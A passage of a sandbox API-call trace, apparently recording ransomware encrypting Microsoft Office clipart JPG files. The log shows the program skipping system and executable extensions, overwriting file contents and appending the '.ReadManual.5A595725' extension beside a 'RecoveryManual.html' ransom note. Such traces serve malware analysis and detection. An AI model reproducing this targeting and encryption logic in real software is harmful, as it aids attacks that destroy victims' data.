lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.643] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.643] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ad8) returned 0x2f0000 [0269.643] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.643] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39031213501) returned 1 [0269.643] CloseHandle (hObject=0x184) returned 1 [0269.643] SetSecurityInfo () returned 0x57 [0269.644] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.644] CloseHandle (hObject=0x194) returned 1 [0269.644] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341448.JPG", cAlternateFileName="")) returned 1 [0269.644] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341448.JPG" | out: lpString1="J0341448.JPG") returned="J0341448.JPG" [0269.644] lstrcmpiW (lpString1="J0341448.JPG", lpString2="RecoveryManual.html") returned -1 [0269.644] StrStrIW (lpFirst="J0341448.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.644] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.644] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.644] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.644] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.644] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.644] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.644] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.644] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.644] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.644] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.644] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.644] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.644] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.644] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.644] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" [0269.644] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.ReadManual.5A595725" [0269.644] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.ReadManual.5A595725") returned 87 [0269.644] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39031308095) returned 1 [0269.644] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg")) returned 0x20 [0269.645] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.645] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21187) returned 1 [0269.645] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x52c3, lpName=0x0) returned 0x184 [0269.645] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.646] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.646] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.648] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.648] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x52c3) returned 0x2f0000 [0269.648] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.648] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39031721497) returned 1 [0269.648] CloseHandle (hObject=0x184) returned 1 [0269.649] SetSecurityInfo () returned 0x57 [0269.649] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.649] CloseHandle (hObject=0x194) returned 1 [0269.649] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7457, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341455.JPG", cAlternateFileName="")) returned 1 [0269.649] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341455.JPG" | out: lpString1="J0341455.JPG") returned="J0341455.JPG" [0269.649] lstrcmpiW (lpString1="J0341455.JPG", lpString2="RecoveryManual.html") returned -1 [0269.649] StrStrIW (lpFirst="J0341455.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.649] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.649] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.649] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.649] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.649] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.649] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.649] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.649] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.649] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.649] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.649] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.649] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.649] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.649] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.649] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" [0269.649] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.ReadManual.5A595725" [0269.649] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.ReadManual.5A595725") returned 87 [0269.649] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39031817728) returned 1 [0269.649] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg")) returned 0x20 [0269.650] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.651] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29783) returned 1 [0269.651] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7457, lpName=0x0) returned 0x184 [0269.651] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.652] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.652] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.654] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.654] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7457) returned 0x2f0000 [0269.654] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.655] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39032343996) returned 1 [0269.655] CloseHandle (hObject=0x184) returned 1 [0269.655] SetSecurityInfo () returned 0x57 [0269.655] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.655] CloseHandle (hObject=0x194) returned 1 [0269.655] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa9e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341475.JPG", cAlternateFileName="")) returned 1 [0269.655] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341475.JPG" | out: lpString1="J0341475.JPG") returned="J0341475.JPG" [0269.655] lstrcmpiW (lpString1="J0341475.JPG", lpString2="RecoveryManual.html") returned -1 [0269.655] StrStrIW (lpFirst="J0341475.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.655] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.655] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.655] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.655] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.655] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.655] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.655] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.655] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.655] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.655] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.655] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.655] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.655] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.655] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.656] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" [0269.656] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.ReadManual.5A595725" [0269.656] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.ReadManual.5A595725") returned 87 [0269.656] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39032440367) returned 1 [0269.656] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg")) returned 0x20 [0269.656] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.656] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=43490) returned 1 [0269.656] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa9e2, lpName=0x0) returned 0x184 [0269.656] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.657] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.657] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.659] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.659] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa9e2) returned 0x2f0000 [0269.661] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.661] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39032956476) returned 1 [0269.661] CloseHandle (hObject=0x184) returned 1 [0269.661] SetSecurityInfo () returned 0x57 [0269.661] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.661] CloseHandle (hObject=0x194) returned 1 [0269.661] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341499.JPG", cAlternateFileName="")) returned 1 [0269.661] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341499.JPG" | out: lpString1="J0341499.JPG") returned="J0341499.JPG" [0269.661] lstrcmpiW (lpString1="J0341499.JPG", lpString2="RecoveryManual.html") returned -1 [0269.661] StrStrIW (lpFirst="J0341499.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.661] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.661] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.661] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.661] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.661] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.661] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.661] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.661] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.662] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.662] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.662] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.662] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.662] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.662] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.662] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" [0269.662] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.ReadManual.5A595725" [0269.662] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.ReadManual.5A595725") returned 87 [0269.662] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39033057916) returned 1 [0269.662] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg")) returned 0x20 [0269.662] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.662] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16099) returned 1 [0269.662] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ee3, lpName=0x0) returned 0x184 [0269.662] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.664] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.664] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.665] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.666] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ee3) returned 0x2f0000 [0269.666] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.666] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39033480807) returned 1 [0269.666] CloseHandle (hObject=0x184) returned 1 [0269.666] SetSecurityInfo () returned 0x57 [0269.666] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.666] CloseHandle (hObject=0x194) returned 1 [0269.666] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341534.JPG", cAlternateFileName="")) returned 1 [0269.666] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341534.JPG" | out: lpString1="J0341534.JPG") returned="J0341534.JPG" [0269.666] lstrcmpiW (lpString1="J0341534.JPG", lpString2="RecoveryManual.html") returned -1 [0269.666] StrStrIW (lpFirst="J0341534.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.666] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.667] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.667] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.667] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.667] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.667] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.667] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.667] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.667] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.667] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.667] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.667] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.667] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.667] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.667] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" [0269.667] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.ReadManual.5A595725" [0269.667] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.ReadManual.5A595725") returned 87 [0269.667] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39033575621) returned 1 [0269.667] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg")) returned 0x20 [0269.673] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.674] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8074) returned 1 [0269.674] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f8a, lpName=0x0) returned 0x184 [0269.674] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.675] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.675] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.676] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.677] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f8a) returned 0x2f0000 [0269.677] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.677] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39034566276) returned 1 [0269.677] CloseHandle (hObject=0x184) returned 1 [0269.677] SetSecurityInfo () returned 0x57 [0269.677] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.677] CloseHandle (hObject=0x194) returned 1 [0269.677] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341551.JPG", cAlternateFileName="")) returned 1 [0269.677] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341551.JPG" | out: lpString1="J0341551.JPG") returned="J0341551.JPG" [0269.677] lstrcmpiW (lpString1="J0341551.JPG", lpString2="RecoveryManual.html") returned -1 